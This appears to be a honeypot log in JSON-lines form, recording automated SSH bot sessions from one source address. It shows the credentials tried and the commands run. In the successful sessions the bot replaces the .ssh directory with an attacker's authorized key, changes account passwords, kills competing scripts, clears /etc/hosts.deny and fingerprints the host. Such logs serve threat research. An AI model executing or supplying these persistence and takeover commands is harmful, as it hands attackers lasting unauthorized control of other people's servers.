{"id":"ddfce4b8-589b-49ff-9229-d976ec8e250c","name":"pewter-mottled-ptarmigan","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40924,"username":"faisal","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":750,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:51:50.327883+00:00","ended_at":"2026-08-26T15:51:51.487514+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2251,"events":[{"seq":1,"at":"2026-08-26T15:51:22.677083+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:51:23.426812+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:51:29.766746+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:51:30.626579+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:51:31.378004+00:00","kind":"input","latency_ms":null,"data":"echo -e \"faisal\\n99X2KdYq1GhL\\n99X2KdYq1GhL\"|passwd|bash"},{"seq":6,"at":"2026-08-26T15:51:32.128618+00:00","kind":"input","latency_ms":null,"data":"echo \"faisal\\n99X2KdYq1GhL\\n99X2KdYq1GhL\\n\"|passwd"},{"seq":7,"at":"2026-08-26T15:51:32.874950+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:51:33.495693+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:51:34.247470+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:51:35.215959+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:51:35.968175+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:51:37.200391+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:51:37.953648+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:51:38.419685+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:51:39.170346+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:51:39.711043+00:00","kind":"output","latency_ms":null,"data":" 15:51:39 up 6 days, 12:41,  0 user,  load average: 0.32, 0.29, 0.3\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:51:40.461094+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:51:40.727998+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:51:41.478584+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:51:42.307465+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:51:43.053390+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:51:43.946877+00:00","kind":"output","latency_ms":null,"data":"top - 15:51:43 up 6 days, 12:41,  0 user,  load average: 0.32, 0.29, 0.3\nTasks: 107 total,   1 running, 106 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    9373 free,    6514 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:51:44.700614+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:51:44.992744+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:51:45.745104+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:51:46.497944+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:51:47.244640+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:51:47.874785+00:00","kind":"output","latency_ms":null,"data":"faisal"},{"seq":29,"at":"2026-08-26T15:51:48.625685+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:51:49.552220+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:51:50.328829+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:51:51.254099+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"faisal","password":"faisal","method":"password","accepted":true,"tier":"other"}]}
{"id":"455df0d7-69a8-4955-85fb-65d9caa75566","name":"lunar-lofty-gull","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40926,"username":"faisal","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:51:28.096135+00:00","ended_at":"2026-08-26T15:51:29.527815+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"faisal","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"2994caa3-5d5a-4832-abf1-dc28ff56e15f","name":"dewy-drifting-brambling","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40925,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:51:25.172134+00:00","ended_at":"2026-08-26T15:51:26.600458+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"5b25c425-c234-4dc7-bda4-d6e2658d8df6","name":"quartz-wiry-skua","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40859,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":748,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:49:09.436344+00:00","ended_at":"2026-08-26T15:49:10.787654+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T15:48:41.829565+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:48:42.575481+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:48:48.258736+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:48:48.991791+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:48:49.741519+00:00","kind":"input","latency_ms":null,"data":"echo \"root:sPZLs0lz2nU7\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:48:50.492180+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:48:51.235496+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:48:51.978488+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:48:52.728213+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:48:53.862520+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:48:54.609023+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:48:55.431294+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:48:56.181282+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:48:56.487176+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:48:57.236112+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:48:57.965205+00:00","kind":"output","latency_ms":null,"data":" 15:48:57 up 6 days, 12:39,  0 user,  load average: 0.05, 0.05, 0.05\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:48:58.712516+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:48:59.053720+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:48:59.803541+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:49:00.615093+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:49:01.362395+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:49:02.246373+00:00","kind":"output","latency_ms":null,"data":"top - 15:49:02 up 6 days, 12:39,  0 user,  load average: 0.05, 0.05, 0.05\nTasks: 105 total,   1 running, 104 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6672 free,    9215 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:49:02.994831+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:49:03.344165+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:49:04.092027+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:49:04.975955+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:49:05.722515+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:49:06.508547+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:49:07.257009+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:49:08.692069+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:49:09.437743+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:49:10.549246+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwerty!@34","method":"password","accepted":true,"tier":"other"}]}
{"id":"d84ae859-9e6c-4689-a845-69d81f75a7fe","name":"grumpy-frosty-chickadee","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40923,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:48:46.892593+00:00","ended_at":"2026-08-26T15:48:48.020627+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"8fda1ecd-60ba-4ec2-bc44-52b849fa2ca9","name":"airy-thorny-shelduck","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40922,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:48:44.311304+00:00","ended_at":"2026-08-26T15:48:45.404844+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"238c40fd-2f41-4e7b-8be5-5c55bffbf280","name":"lofty-golden-shrike","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40856,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":751,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:46:24.778927+00:00","ended_at":"2026-08-26T15:46:26.192802+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T15:45:56.620116+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:45:57.371828+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:46:03.749062+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:46:04.548548+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:46:05.300529+00:00","kind":"input","latency_ms":null,"data":"echo \"root:dmz8PgwjvPTf\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:46:06.053664+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:46:06.800792+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:46:07.167740+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:46:07.920782+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:46:08.876929+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:46:09.635147+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:46:10.926078+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:46:11.684181+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:46:12.408827+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:46:13.161343+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:46:13.812182+00:00","kind":"output","latency_ms":null,"data":" 15:46:13 up 6 days, 12:36,  0 user,  load average: 0.05, 0.05, 0.05\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:46:14.562815+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:46:15.097131+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:46:15.845810+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:46:16.565512+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:46:17.317637+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:46:18.050567+00:00","kind":"output","latency_ms":null,"data":"top - 15:46:18 up 6 days, 12:36,  0 user,  load average: 0.05, 0.05, 0.05\nTasks: 120 total,   1 running, 119 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6831 free,    9056 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:46:18.801766+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:46:19.317130+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:46:20.068281+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:46:20.511768+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:46:21.263704+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:46:22.053936+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:46:22.804989+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:46:24.029176+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:46:24.779758+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:46:25.955005+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"5432154321","method":"password","accepted":true,"tier":"other"}]}
{"id":"05f5e6bf-7d20-4fcd-84fa-26673abd98b5","name":"brazen-quiet-fieldfare","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40858,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:46:01.967387+00:00","ended_at":"2026-08-26T15:46:03.511528+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"b158d369-55a2-4eab-9cb3-cff5e86ca268","name":"weathered-prairie-hoopoe","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40857,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:45:59.098993+00:00","ended_at":"2026-08-26T15:46:00.465075+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"de87a9b3-8ed7-48d0-8e07-7d2f0a277e76","name":"lunar-reedy-onager","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40853,"username":"testftp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":749,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:43:40.861951+00:00","ended_at":"2026-08-26T15:43:42.043794+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-26T15:43:14.956415+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:43:15.705625+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:43:21.521939+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:43:22.266682+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:43:23.015030+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\nw2ARz3TsutwB\\nw2ARz3TsutwB\"|passwd|bash"},{"seq":6,"at":"2026-08-26T15:43:23.766130+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\nw2ARz3TsutwB\\nw2ARz3TsutwB\\n\"|passwd"},{"seq":7,"at":"2026-08-26T15:43:24.510412+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:43:24.774761+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:43:25.523559+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:43:26.611714+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:43:27.361378+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:43:28.428767+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:43:29.183050+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:43:29.487396+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:43:30.247199+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:43:30.599194+00:00","kind":"output","latency_ms":null,"data":" 15:43:30 up 6 days, 12:33,  0 user,  load average: 0.21, 0.24, 0.24\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:43:31.351577+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:43:31.923964+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:43:32.672855+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:43:33.236533+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:43:33.985225+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:43:34.545399+00:00","kind":"output","latency_ms":null,"data":"top - 15:43:34 up 6 days, 12:33,  0 user,  load average: 0.21, 0.24, 0.24\nTasks: 116 total,   1 running, 115 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6831 free,    9056 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 